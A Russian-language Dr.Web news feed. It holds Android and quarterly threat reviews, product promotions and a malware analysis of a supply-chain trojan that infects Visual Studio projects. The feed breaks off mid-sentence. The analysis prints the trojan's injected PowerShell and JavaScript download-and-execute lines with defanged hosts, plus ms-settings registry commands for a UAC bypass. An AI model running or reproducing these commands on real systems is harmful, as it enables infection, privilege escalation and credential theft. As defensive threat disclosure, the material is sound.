Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.
Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».

Угрозы в Google Play

В III квартале 2026 года специалисты антивирусной лаборатории «Доктор Веб» обнаружили свыше 50 вредоносных приложений в каталоге Google Play. Большинство из них относилось к семейству троянских программ Android.Joker, которые скрытно оформляют подписку на платные мобильные услуги. Для этого они похищают одноразовые коды подтверждения, перехватывая СМС и содержимое уведомлений. Вирусописатели распространяли трояны под видом разнообразного ПО, включая мессенджеры, утилиты для оптимизации работы устройств, программы-фотокамеры, инструменты для распознавания текста и мультимедийные плееры для онлайн-просмотра фильмов и сериалов.

Примеры приложений из Google Play, которые скрывали в себе трояны Android.Joker: Special Camera — Android.Joker.2679, Color Messages — Android.Joker.2682

При изучении новых образцов Android.Joker наши эксперты обнаружили, что в некоторые из них была добавлена функциональность, позволяющая превращать зараженные устройства в выходные узлы прокси-ботнета. Злоумышленники могут использовать эту функциональность для продажи услуг по выходу в интернет через сеть жертв.

Анализ показал, что один из управляющих серверов ботнета не был защищен авторизацией. Благодаря этому вирусные аналитики «Доктор Веб» смогли получить из панели управления информацию о статистике его работы, а также о том, в какие приложения внедрены вредоносные модули Android.Joker. По данным на конец августа обновленными троянами семейства было заражено свыше 187 000 устройств, а число активных арендаторов нелегальной прокси-сети достигало 93.

Веб-панель управления прокси-ботнетом на базе устройств, зараженных некоторыми модификациями Android.Joker

Другими выявленными угрозами стали новые варианты троянских программ Android.FakeApp, которые могут загружать различные сайты, в том числе вредоносные и мошеннические. Они распространялись под видом программ для управления финансами и планирования семейного бюджета, приложений-органайзеров для ведения заметок, программ для поиска работы, а также различных игр. Большинство троянов с целью маскировки действительно предоставляло заявленную функциональность, однако при определенных условиях вместо этого вредоносные программы загружали мошеннические веб-сайты.

Примеры вредоносных программ-подделок Android.FakeApp, которые наши специалисты нашли в Google Play в III квартале 2026 года

Например, Android.FakeApp.2022 загружал сайт, где демонстрировался список «актуальных вакансий» с высокой заработной платой и привлекательными условиями труда. При этом в оформлении мошеннического интернет-ресурса использовался логотип, оформленный в стиле и цветах официального логотипа российского портала «Госуслуги».

Одна из вакансий, якобы доступная потенциальной жертве

Пользователям предлагалось подробнее ознакомиться с интересующими вакансиями. Для этого от них требовалось оставить заявку, после чего те якобы могли «начать зарабатывать уже сегодня». Злоумышленники запрашивали конфиденциальную информацию, включая имя и фамилию, возраст, гражданство и номер мобильного телефона, а также предлагали выбрать удобное время для приема звонка от «специалиста».

Загруженный трояном веб-сайт собирает персональные данные, которые мошенники в дальнейшем могут использовать для обмана своих жертв

Для защиты Android-устройств от вредоносных и нежелательных программ пользователям следует установить антивирусные продукты Dr.Web для Android.

Индикаторы компрометации

Акция для бизнеса и государственных учреждений: переход на Dr.Web со скидкой 55%

Tue, 01 Sep 2026 10:26:45 GMT

С 1 сентября 2026 года компания «Доктор Веб» запускает акцию для бизнеса и государственных учреждений — скидка 55% при переходе на решения Dr.Web с антивирусов других производителей.

Акция действует до 31 декабря 2026 года включительно и распространяется на продукты Dr.Web для профессионального использования:

Dr.Web Desktop Security Suite — защита рабочих станций,
Dr.Web Server Security Suite — защита серверов,
Dr.Web Mobile Security Suite — защита мобильных устройств и планшетов,
Dr.Web Mail Security Suite — проверка почтового трафика,
Dr.Web Gateway Security Suite — проверка интернет-трафика,
Комплект для малого бизнеса — оптимальное решение для малого бизнеса.

Предложение адресовано организациям, которые:

Планируют переход на ПО Dr.Web
Ранее не приобретали продукты Dr.Web для профессионального использования, но планируют переход с решений других вендоров.
Ранее использовали ПО Dr.Web
Ранее использовали продукты Dr.Web, но их лицензия истекла до 31 декабря 2025 года и не была продлена. При этом организации не участвовали в программе миграции «Переходи на зелёный» и не получали скидку на те продукты, которые планируют приобрести сейчас.

Общие условия:

Организация должна иметь действующую или истекшую не более 30 дней назад лицензию другого производителя на аналогичные защищаемые объекты.
Акция не применяется, если организация ранее уже приобретала желаемый продукт по программе миграции «Переходи на зеленый»
Скидка предоставляется на одно-, двух- или трехлетние лицензии в рамках действующего прайс-листа.
Скидка не суммируется с другими акционными предложениями.

Как воспользоваться акцией

Для участия в Акции обратитесь к партнерам «Доктор Веб» либо воспользуйтесь сервисом «Конструктор лицензий для бизнеса и госучреждений». Дополнительную информацию можно получить у партнеров или у специалистов Службы поддержки продаж «Доктор Веб».

Снова в школу! Скидки до 22% на защиту компьютеров всей семьи

Wed, 26 Aug 2026 13:39:13 GMT

Перед началом нового учебного года компания «Доктор Веб» запускает специальную акцию «Снова в школу», которая поможет защитить цифровой мир ваших детей.

С 26 августа по 2 сентября при покупке цифровой защиты Dr.Web Security Space для домашних компьютеров вы получаете скидку:

лицензия на 3 ПК на 1 год: цена со скидкой 20% — 47,04 BYN;
лицензия на 2 ПК на 2 года: цена со скидкой 21% — 73,00 BYN;
лицензия на 3 ПК на 2 года: цена со скидкой 22% — 87,05 BYN.

Получить скидку

Dr.Web Security Space защитит компьютеры и ноутбуки ваших детей от всех типов интернет-угроз, поможет не отвлекаться от учебы на развлекательные ресурсы, предупредит об опасных ссылках и действиях мошенников.

Позаботьтесь о безопасности ребенка уже сегодня — пусть учебный год пройдет спокойно и продуктивно вместе с Dr.Web.

Полные условия акции

Обновление сервера централизованного управления для Dr.Web Enterprise Security Suite и Dr.Web Industrial

Thu, 23 Jul 2026 10:07:38 GMT

Компания «Доктор Веб» выпускает обновление для сервера в составе Dr.Web Enterprise Security Suite и Dr.Web Industrial версии 13.0.1.202606110. Новая версия станет доступна для загрузки с 27 июля 2026 года через веб-интерфейс консоли управления.

Что дает новое обновление

В первую очередь релиз направлен на повышение стабильности работы Центра управления и исправление ряда ошибок, выявленных в предыдущей версии. В частности, устранены проблемы с отображением дочерних элементов при фильтрации в дереве антивирусной сети, исправлены ошибки в отправке оповещений администраторам и генерации отчетов. Полный перечень изменений доступен в Changelog.

Влияние на агенты (в том числе в Dr.Web Industrial)

Обновление сервера не затрагивает работу агентов на защищаемых узлах. Процесс обновления серверного компонента не требует перезагрузки или перенастройки агентского ПО - они продолжат функционировать в штатном режиме. Для промышленных сред, где применяется Dr.Web Industrial, это означает отсутствие каких-либо изменений в работе агентов, так как все исправления относятся исключительно к серверной части и интерфейсу управления.

Важно: Сервер Dr.Web будет автоматически перезапущен во время установки обновлений. Рекомендуем запланировать процедуру заранее на время наименьшей нагрузки.

Напоминаем, что своевременное обновление критически важно для поддержания необходимого уровня защиты и оптимальной функциональности ПО.

Обновление компонента антиспам в Dr.Web Enterprise Security Suite и в Dr.Web по подписке

Thu, 16 Jul 2026 10:37:20 GMT

Компания «Доктор Веб» выпускает обновление модуля антиспам 1.1.2.202604160 в составе Dr.Web Enterprise Security Suite и Dr.Web по подписке. Его можно будет загрузить с 20 июля 2026 года.

Модуль в режиме реального времени проверяет почтовый трафик и анализирует составные части электронных писем: заголовок, тело, гиперссылки, вложения. Работа компонента сбалансирована и не замедляет производительность почтового клиента.

В новой версии улучшено обнаружение спама и разбор ссылок, а также внесены внутренние изменения. Ранее было выпущено масштабное обновление, которое повысило эффективность распознавания и фильтрации нежелательного трафика.

Обращаем внимание пользователей Windows XP. Если у вас включена опция обновления только антивирусных баз, плагин Dr.Web для Microsoft Outlook будет работать некорректно: все входящие письма будут детектироваться как спам. Как это проверить: в настройках программы выбрать пункт «Обновление», затем нажать «Дополнительные настройки» и зайти в раздел «Обновляемые компоненты».

Рекомендуем пользователям этой операционной системы обновить ОС до более поздних версий или включить в настройках обновление всех модулей программы, а не только вирусных баз.

Цель – разработчики. Новый троян атакует цепочки поставок и наносит комбинированный ущерб зараженным ПК

Fri, 10 Jul 2026 03:00:00 GMT

Объектом исследования специалистов антивирусной лаборатории стала новая троянская программа. Она представляет собой угрозу типа supply chain attack, т. е. атака на цепочки поставок. Отличительная черта этого ВПО — фокус на проекты, созданные на языке программирования С++ и C#. Еще одна особенность — повышенная опасность. Троян объединяет в себе ряд поражающих факторов, одновременно выполняя несколько функций: стилера, клиппера, бэкдора, майнера и источника заражения файлов.

Первые случаи распространения трояна были зафиксированы в последнем квартале 2025 года, с тех пор он постоянно модифицируется разработчиками. В основном он распространяется по интернету через зараженные .exe и python файлы. Процесс заражения многоступенчатый, разберем протекание каждой стадии и их цели одну за другой.

Стадия 1. Trojan.DownLoader49.35384

Специалисты «Доктор Веб» обнаружили множество зараженных легитимных приложений с похожей структурой. В изначальный исполняемый файл добавлен глобальный объект, а выполнение троянизированного приложения начинается с получения доступа к системным API через метод PEB walking. Далее стандартная функция initterm проходит таблицу указателей функций и инициализирует их, где одна из таких функций является вредоносной и запускает PowerShell команду. В некоторых версиях трояна эта нагрузка хранится в зашифрованном виде.

Запуск через initterm

PowerShell команда скачивает и выполняет вредоносный файл Trojan.DownLoader49.35687, что означает запуск второй стадии.

Вредоносная PowerShell команда

В дополнение к исполняемым файлам были обнаружены файлы на языке Python (Python.Downloader.255). В них тот же вредоносный код был зашифрован с помощью механизма симметричного шифрования Fernet. Он спрятан за простой обфускацией — множеством пробелов в первой строке. В этом случае выполнение также проходит в несколько этапов.

Вредоносные Python файлы

Стадия 2. Trojan.DownLoader49.35687

На этом этапе троян Trojan.DownLoader49.35687 выполняет проверку своего запуска в песочнице. Кроме этого, он создает объект синхронизации mutex c именем Global\PFNMX (фиксированное значение). Пример подобного объекта: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. Таким образом троян проверяет, не запущена ли ранее на компьютере другая копия.

Во время второй стадии троян пытается получить адреса C2 сервера с помощью публичных репозиториев GitHub и игровой платформы Steam. На них злоумышленники оставляют домены, которые троян считывает и использует как URL для загрузки третьей стадии — трояна BackDoor.Siggen2.5906.

Аккаунты Steam, созданные злоумышленниками, содержат название домена в открытом виде.

Аккаунт Steam с C2 доменом

На GitHub злоумышленники сохранили зашифрованный адрес C2 домена в виде raw файла: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. Троян загружает этот файл и расшифровывает его сначала через Base64, а затем с помощью операции XOR с ключом ZwFlushKey.

Зашифрованные домены

После скачивания следующей стадии, Trojan.DownLoader49.35687 внедряет ее в процесс одного из 41 заранее указанных исполняемых файлов из C:\Windows\System32.

Адрес домена С2, с которым удалось установить связь, добавляется к прописанным в исходном коде трояна строкам и передается следующей стадии через именованный канал pipe\VccFramework.

Стадия 3. BackDoor.Siggen2.5906

На этой стадии происходит основная вредоносная деятельность. BackDoor.Siggen2.5906 создает объект синхронизации mutex с фиксированным именем вида Global\PFNX_Side (фиксированное значение). Затем через ранее созданный канал троян получает данные от второй стадии, откуда извлекает идентификаторы трояна и домен С2, с которым BackDoor.Siggen2.5906 будет коммуницировать.

Чтобы закрепиться в системе, троян скачивает файл «bungee.boo», который выполняет функции стадии 2 — Trojan.DownLoader49.35687, и подменяет им DLL файлы:

«profapi.dll» приложения Discord,
«domain_actions.dll» в папке «Domain Actions» и «well_known_domains.dll» в папке «Well Known Domains» приложения Microsoft Edge,
«C:\Windows\omadmapi.dll».

Дополнительно BackDoor.Siggen2.5906 может модифицировать системный реестр Windows таким образом, что при открытии архивированных файлов с помощью WinRar.exe будет запускаться вредоносный код.

Для действий с правами администратора троян использует технику обхода UAC. ВПО генерирует .vbs файл с названием из случайных цифр, в котором оставляет команду для выполнения с правами администратора. Далее через cmd.exe запускаются команды:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Затем троян реализует 5 вредоносных функций: стилер, клиппер, бэкдор, майнер и источник заражения файлов.

Стилер

Троян способен красть различную информацию:

токены Discord, которые позволяют войти в чужие аккаунты без ввода логина/пароля;
пароли и куки из браузеров Chrome, Edge, Opera, Brave, Yandex и др. Кроме обычных техник извлечения данных, может использовать файл CCCWF.tmp (Trojan.PWS.Siggen5.33623). Он встраивается в браузер, а затем считывает пароли и сохраняет их в текстовые файлы;
папки Telegram Desktop;
папки криптокошелька Exodus.

Кроме хищений папок Exodus, троян производит модификацию криптокошелька. Для этого он находит файл app.asar и заменяет его на копию, скачанную с URL balista[.]lol/Stb/PokerFace/RTApp[.]txt при помощи curl. В подмененной версии в index.js (Trojan.Siggen32.44702) находится функция unlock(), которая при запуске отправляет мнемонические фразы кошелька на сервер злоумышленников.

Подмененный файл index.js

Клиппер

Особо опасная функция трояна. ВПО постоянно следит за буфером обмена пользователя: ищет данные банковских карт и отправляет их на сервер злоумышленников. Также вредонос заменяет адреса криптокошельков на подставные, которые получает от C2 сервера.

Бэкдор

Функциональность трояна позволяет злоумышленникам удаленно управлять зараженным ПК с помощью команд:

exc	скачать файл с url при помощи curl и запустить его
RVRS	запустить Reverse Proxy
RUNCMD	запустить команду через cmd
GETFILE	загрузить содержимое определенного файла на управляющий сервер
LISTDIR	отправить список файлов из определенной директории компьютера на управляющий сервер
TROLL	запустить команду для троллинга пользователя, есть опции earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer и т. д.

Майнер

При помощи curl троян скачивает с сервера и запускает файл https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Своим строением и действиями он похож на стадию 2, только вместо BackDoor.Siggen2.5906 он скачивает и внедряет Trojan.BtcMine.3956. Этот майнер запускается только после определенного периода бездействия пользователя. ВПО использует инструменты XMRig, T-Rex и TeamRedMiner с открытым исходным кодом.

Заражение файлов

Главная отличительная черта этого трояна — заражение файлов и дальнейшее самостоятельное распространение. Список заражаемых файлов:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj и .csproj.

Чтобы определить пути к файлам, которые можно заразить, троян перебирает диски и запускает команду. Пример для диска A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Злоумышленники строят свой расчет на том, что разработчики будут публиковать свои проекты с вредоносным кодом в открытом доступе. Другие разработчики, которые будут собирать, компилировать или модифицировать проект, автоматически заразят свои компьютеры из-за файлов .suo, .vcxproj и .csproj, а обычные пользователи могут запустить зараженные исполняемые файлы, созданные с помощью скомпрометированных инструментов разработки.

Файл imgui_impl_win32.cpp. Trojan.Loader.3129

Файл imgui_impl_win32.cpp — часть популярной библиотеки Dear ImGui, отвечающей за графический интерфейс для языка программирования С++. Троян внедряет в файл две строки: первая содержит полезную нагрузку, вторая запускает ее.

Строка кода с полезной нагрузкой

Строка кода с запуском пэйлоада

Итог — команда


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

Таким образом, библиотека оказывается зараженной и любые созданные пользователем приложения на С++ будут иметь в себе вредоносный код. При передаче или загрузке подобных приложений заражение будет распространяться дальше.

Файлы .suo. Trojan.Loader.3138

Это расширение файлов среды разработки Microsoft Visual Studio. В них хранятся настройки пользователя для определенных проектов. Троян заменяет оригинальный файл на зараженный, полученный с C2.

Зараженный файл

В результате при открытии проекта в Visual Studio запускается вредоносный код:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Файлы winnetwk.h. Trojan.Loader.3184

Windows SDK — официальный набор инструментов Microsoft, который позволяет создавать приложения для ОС Windows.

С помощью реестра троян находит папку, куда установлен Windows SDK. В этой папке происходит поиск файла winnetwk.h, ответственного за работу с сетевыми ресурсами. Затем в него добавляется вредоносный код.

Зараженный файл winnetwk.h

После этого все программы, созданные с помощью winnetwk.h, будут иметь вредоносный код, который запускает стадию 2.

Файлы .exe

Троян ищет подходящие .exe файлы и внедряет в них функции инициализации API и запуска initterm. Затем файл начинает работать как Trojan.DownLoader49.35384, он же стадия 1.

Файлы .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) и .csproj (Trojan.Loader.3126)

Это файлы проектов Visual Studio на языках программирования C++ и C#. В них добавляется команда PreBuildEvent, которая запускается перед каждой сборкой проекта. Ранние версии трояна добавляли код, подобный стадии 1.

Ранняя версия кода

В новых версиях код стал сложнее, появилась дополнительная обфускация.

Новая версия кода

Один из этапов выполнения Trojan.Loader.3128

В результате вредоносной команды записывается вредоносный .vbs файл, который, в свою очередь, запускает PowerShell payload. Троян делает запрос к URL-адресам:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

На этих адресах хранится другой URL-адрес, зашифрованный с помощью base64.

YouTube-аккаунт с зашифрованным URL-адресом

После расшифровки троян получает C2 домен, к которому обращается за нагрузкой, сходной со стадией 2.

Описание работы трояна позволяет сделать вывод, что он представляет повышенную опасность из-за комбинирования целого ряда вредоносных функций. Во избежание заражения своего компьютера и дальнейшего распространения трояна рекомендуем регулярно обновлять антивирусные базы и проверять все скачанные из интернета файлы. Пользователи антивируса Dr.Web Security Space и Dr.Web Desktop Security Suite могут быть спокойны, поскольку троян надежно определяется и удаляется антивирусами Dr.Web. Файлы типа .vcxproj, .csproj и imgui лечатся, из них удаляется вредоносный код.

Подробнее об Trojan.DownLoader49.35384

Подробнее об Trojan.DownLoader49.35687

Подробнее об BackDoor.Siggen2.5906

Подробнее об Trojan.BtcMine.3956

Индикаторы компрометации

Обновлено Лицензионное соглашение к программным продуктам Dr.Web

Thu, 02 Jul 2026 16:05:38 GMT

Компания «Доктор Веб» обновила Лицензионное соглашение к программным продуктам Dr.Web. С документом можно ознакомиться по ссылке https://license.drweb.by/agreement/.

Перечень изменений:

текст структурирован по тематическим разделам для удобной навигации;
даны определения терминов для лучшего понимания текста документа и предупреждения ошибочного толкования;
уточнена разница между разрешенным и нелицензионным использованием программных продуктов Dr.Web;
даны пояснения касательно часто возникающих у пользователей вопросов: на каких устройствах можно использовать приобретенную лицензию, обязательно ли иметь защищаемое устройство в своей собственности, и другие подобные.

Используя программные продукты Dr.Web после вступления в силу новой редакции Лицензионного соглашения, тем самым вы подтверждаете принятие новых условий в полном объеме. Если вы не согласны с изменениями, вам необходимо удалить ПО Dr.Web со своих устройств.

Обращаем ваше внимание, что данный документ актуален для всех программных продуктов семейства Dr.Web за исключением Dr.Web FixIt! и Dr.Web vxCube. Эти два решения имеют собственные Лицензионные соглашения.

«Доктор Веб»: обзор вирусной активности во II квартале 2026 года

Wed, 01 Jul 2026 05:00:00 GMT

1 июля 2026 года

Согласно статистике детектирований антивируса Dr.Web, во II квартале 2026 года общее число обнаруженных угроз увеличилось на 5,72% по сравнению с I кварталом. Число уникальных угроз возросло на 95,32%. Чаще всего на защищаемых устройствах обнаруживались рекламные приложения и рекламные трояны, вредоносные программы-майнеры и трояны, которые используются для запуска других угроз.

В почтовом трафике наиболее часто детектировались вредоносные скрипты и различные троянские приложения, среди которых были загрузчики, дропперы, похитители паролей и майнеры. Распространение также получили бэкдоры, фишинговые документы и различные эксплойты.

Пользователи, чьи файлы были затронуты троянами-шифровальщиками, чаще всего сталкивались с энкодерами Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.37400. При этом число поступивших в Службу технической поддержки «Доктор Веб» запросов на расшифровку по сравнению с предыдущим кварталом несколько сократилось.

Во II квартале 2026 года интернет-аналитики компании «Доктор Веб» наблюдали рост числа фишинговых атак на пользователей мессенджера MAX. Злоумышленники также эксплуатировали актуальную новостную повестку и соответствующим образом подстраивали под нее популярные мошеннические схемы.

В апреле стало известно, что в одном из обновлений Microsoft Visual Studio Code содержался вредоносный код. Им оказался троянский скрипт в составе публичной JavaScript-библиотеки es5-ext, которая была включена в обновленное ПО. Данный скрипт запускается при условии соответствия часового пояса ряда российских городов и демонстрирует в консоли разработчика призыв с антироссийской позицией.

В мае мы предупредили о распространении вредоносной программы JobStealer, нацеленной на пользователей macOS и Windows. Киберпреступники выдавали ее за ПО для проведения онлайн-собеседований. Троян JobStealer похищает различную конфиденциальную информацию, включая данные из порядка 300 браузерных расширений-криптокошельков, файлы мессенджера Telegram, сохраненные в браузерах пароли и данные банковских карт, а также файлы куки.

В июне специалисты антивирусной лаборатории компании «Доктор Веб» рассказали о новом рекламном трояне Android.MagicAd.1, способном демонстрировать рекламу в фоновом режиме благодаря возможности обходить ограничения операционной системы Android. Для этого троян эксплуатирует сторонние приложения, выбирая необходимую методику в зависимости от производителя целевого устройства.

Среди вредоносных приложений для Android-устройств лидерство по числу детектирований на защищаемых устройствах сохранили банковские трояны Android.Banker. При этом вирусописатели продолжили активно использовать различные инструменты для моддинга Android-программ, чтобы защитить вредоносное ПО от детектирования антивирусами. Вместе с тем, в течение II квартала наши вирусные аналитики обнаружили в каталоге Google Play ряд новых троянских программ, созданных для подписки пользователей на платные мобильные услуги.

Главные тенденции II квартала

Возросло число угроз, обнаруженных на защищаемых устройствах.
Среди детектируемых угроз значительно увеличилось число уникальных файлов.
Количество запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, по сравнению с I кварталом сократилось.
Мошенники стали чаще атаковать пользователей российского мессенджера MAX.
Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для Android-устройств.
Специалисты «Доктор Веб» обнаружили рекламный троян Android.MagicAd.1, способный обходить ограничения ОС Android и показывать объявления из фонового режима.
Вирусописатели распространяли вредоносную программу JobStealer, предназначенную для кражи конфиденциальных данных у пользователей компьютеров под управлением macOS и Windows.
В одном из обновлений Microsoft Visual Studio Code был обнаружен вредоносный код.

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы II квартала 2026 года

Adware.Downware.20091
Adware.Downware.20766: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Trojan.BPlug.4268: Детектирование вредоносного компонента браузерного расширения WinSafe. Этот компонент представляет собой сценарий JavaScript, который демонстрирует навязчивую рекламу в браузерах.
Trojan.Starter.8319: Детектирование вредоносных XML-скриптов, которые запускают троян Trojan.AutoIt.289 и его компоненты.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы II квартала 2026 года в почтовом трафике

X97M.DownLoader.2343: XLSX-файл (формат электронных таблиц Microsoft Excel) с OLE-объектом, скачивающим вредоносный файл на атакуемый компьютер.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Эксплойты для использования уязвимостей в ПО Microsoft Office, позволяющие выполнить произвольный код.
JS.Muldrop.1171: Вредоносный скрипт в формате JavaScript, который запускает в целевой системе скрытое в нем ВПО.

Шифровальщики

По сравнению с I кварталом 2026 года, во II квартале число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, незначительно сократилось — на 2,67%.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Наиболее распространенные энкодеры II квартала 2026 года

Trojan.Encoder.35534 — 14,47% обращений пользователей
Trojan.Encoder.41868 — 5,26% обращений пользователей
Trojan.Encoder.37400 — 3,95% обращений пользователей
Trojan.Encoder.35209 — 3,29% обращений пользователей
Trojan.Encoder.44197 — 2,63% обращений пользователей

Сетевое мошенничество

Одной из тенденций, которую интернет-аналитики «Доктор Веб» наблюдали во II квартале 2026 года, стало то, что на фоне роста аудитории российского мессенджера MAX злоумышленники начали активнее атаковать пользователей данного сервиса. При этом они применяют известные схемы, которые ранее были ориентированы на пользователей других мессенджеров, таких как Telegram и WhatsApp. Например, наши специалисты выявили множество мошеннических сайтов, созданных с целью кражи учетных записей MAX под прикрытием различных голосований. Потенциальной жертве предлагается проголосовать в том или ином конкурсе, но для этого от нее требуется войти в учетную запись, указав номер мобильного телефона и поступивший после его ввода проверочный код. Когда пользователь вводит все данные, атакующие получают доступ к его аккаунту.

Пример одного из фишинговых сайтов, с помощью которого мошенники получают доступ к учетной записи мессенджера MAX жертвы

В течение II квартала интернет-аналитики «Доктор Веб» отмечали появление очередных мошеннических сайтов, связанных с инвестициями. При этом киберпреступники следуют современным тенденциям и продолжают активно эксплуатировать тематику искусственного интеллекта. Например, на некоторых интернет-ресурсах они предлагали потенциальным жертвам присоединиться к новому инвестиционному проекту, якобы имеющему отношение к крупным российским кредитным организациям. Злоумышленники обещали доступ к специализированному чат-боту на основе нейросети ChatGPT, помогающему в инвестировании. Чтобы стать участниками «проекта», посетители сайта должны были пройти регистрацию, указав персональную информацию.

Мошеннический сайт предлагает зарегистрироваться в инвестиционном проекте, якобы имеющем отношение к одному из российских банков, и получить доступ к специализированному финансовому чат-боту на основе нейросети ChatGPT

В то же время мошенники пытались привлечь русскоязычных пользователей не только именами российских банков, но и иностранных кредитных организаций. Например, ряд веб-сайтов псевдоинвестиционных сервисов киберпреступники преподносили как имеющие отношение к южнокорейским банкам.

Один из мошеннических сайтов, предлагавший русскоговорящим пользователям стать участниками некоего инвестиционного проекта одного из южнокорейских банков и обещавший доход от 2 000 000 южнокорейских вон

Во II квартале сохранялась активность мошенников, которые пытались украсть данные учетных записей от различных сервисов. Так, среди множества фишинговых сайтов встречались поддельные интернет-ресурсы транспортных компаний. Один из них был нацелен на клиентов одной из российских служб экспресс-доставки. Потенциальным жертвам предлагалось войти в свою учетную запись по номеру мобильного телефона, привязанному к аккаунту, либо авторизоваться через Госуслуги. При этом даже после «входа» в учетную запись первым способом сайт все равно демонстрировал вторую фишинговую форму под видом авторизации с использованием Госуслуг.

С помощью мошеннического сайта злоумышленники могли похищать данные сразу нескольких учетных записей — от личного кабинета на сайте транспортной компании и от портала Госуслуги

Наши эксперты также выявляли новые фишинговые веб-сайты кредитных организаций различных стран. Так, вкладчикам одного из банков США мошенники предлагали войти в учетную запись и проверить доступность повышенной процентной ставки для «лояльных клиентов»:

В другом случае фишинговый сайт имитировал внешний вид одного из эквадорских банков и запрашивал у пользователей логин и пароль от учетной записи онлайн-банка:

Еще одна фишинговая схема была ориентирована на британских пользователей. Киберпреступники создавали поддельные сайты государственных сервисов, где предлагали уплатить штраф за неправильную парковку.

У потенциальных жертв запрашивалась подробная персональная информация — якобы для проверки личности, после чего те перенаправлялись на страницу оплаты «штрафа».

Одной из распространенных мошеннических схем остается получение гражданами тех или иных безвозмездных выплат. Однако киберпреступники постоянно адаптируют ее к текущим событиям. Так, в преддверии празднования Дня России стали появляться поддельные сайты российских кредитных организаций, где посетителям злоумышленники обещали праздничные выплаты. На одном из них пользователям за прохождение опроса якобы полагалось от 5 000 до 300 000 рублей:

В другом варианте схемы пользователи после прохождения опроса якобы могли рассчитывать на получение «помощи» в размере 5 000 рублей:

А на фоне спекулятивных сообщений о нехватке топлива в некоторых российских регионах ряд таких сайтов обещал ваучеры на бесплатное получение от 20 до 100 литров горючего:

После того как посетители этих сайтов отвечали на несколько простых вопросов, им для получения обещанной награды предлагалось пройти «идентификацию личности». Для этого требовалось указать имя и фамилию, номер мобильного телефона, а также номер банковской карты. В дальнейшем мошенники могли использовать эту информацию, чтобы похитить деньги жертв.

Среди выявленных во II квартале нежелательных сайтов также встречались поддельные интернет-порталы Международной Федерации Футбола FIFA, на которых пользователи якобы могли официально приобрести билеты на матчи Чемпионата мира по футболу 2026 года, фирменные сувенирные товары, а также различные премиум-услуги. Как и на настоящем сайте, посетителям этих подделок предлагалось войти в учетную запись FIFA ID, однако форма для ввода логина и пароля в данном случае принимала любые данные.

Поддельная форма входа в учетную запись FIFA ID

После того как любители футбола выбирали интересующий их товар, им предлагалось оформить покупку и произвести оплату. При этом в процессе оплаты пользователи попадали на сайт одного из сервисов, который находится в базе интернет-ресурсов, не рекомендуемых антивирусом Dr.Web.

Поддельный сайт Международной Федерации Футбола якобы позволял официально приобретать лицензированные продукты и сервисы

Наши эксперты также зафиксировали ряд спам-кампаний, направленных на распространение ссылок на поддельные сайты российских маркетплейсов, где злоумышленники предлагали потенциальным жертвам принять участие в «юбилейном розыгрыше призов». Мошенники обещали возможность получить как денежные призы — вплоть до 1 000 000 рублей, так и компьютерную и мобильную технику:

Для участия в «акции» пользователи должны были нажать соответствующую кнопку на таких сайтах, после чего на них имитировался процесс розыгрыша призов. После нескольких попыток потенциальной жертве сообщалось, что она выиграла несколько подарков, и у нее якобы есть возможность выбора: получить сами призы — в пункте выдачи маркетплейса, или же их денежный эквивалент — переводом на банковский счет:

При выборе опции получения призов в пункте выдачи сайты сообщали, что необходимые товары закончились на складе, но пользователь якобы все еще может обменять их на деньги. После этого на странице имитировался чат с оператором для «подтверждения» намерения конвертировать призы. Для этого потенциальная жертва должна была указать номер банковской карты:

После его ввода сайты запрашивали оплату государственной пошлины — для «официального оформления выигрыша»:

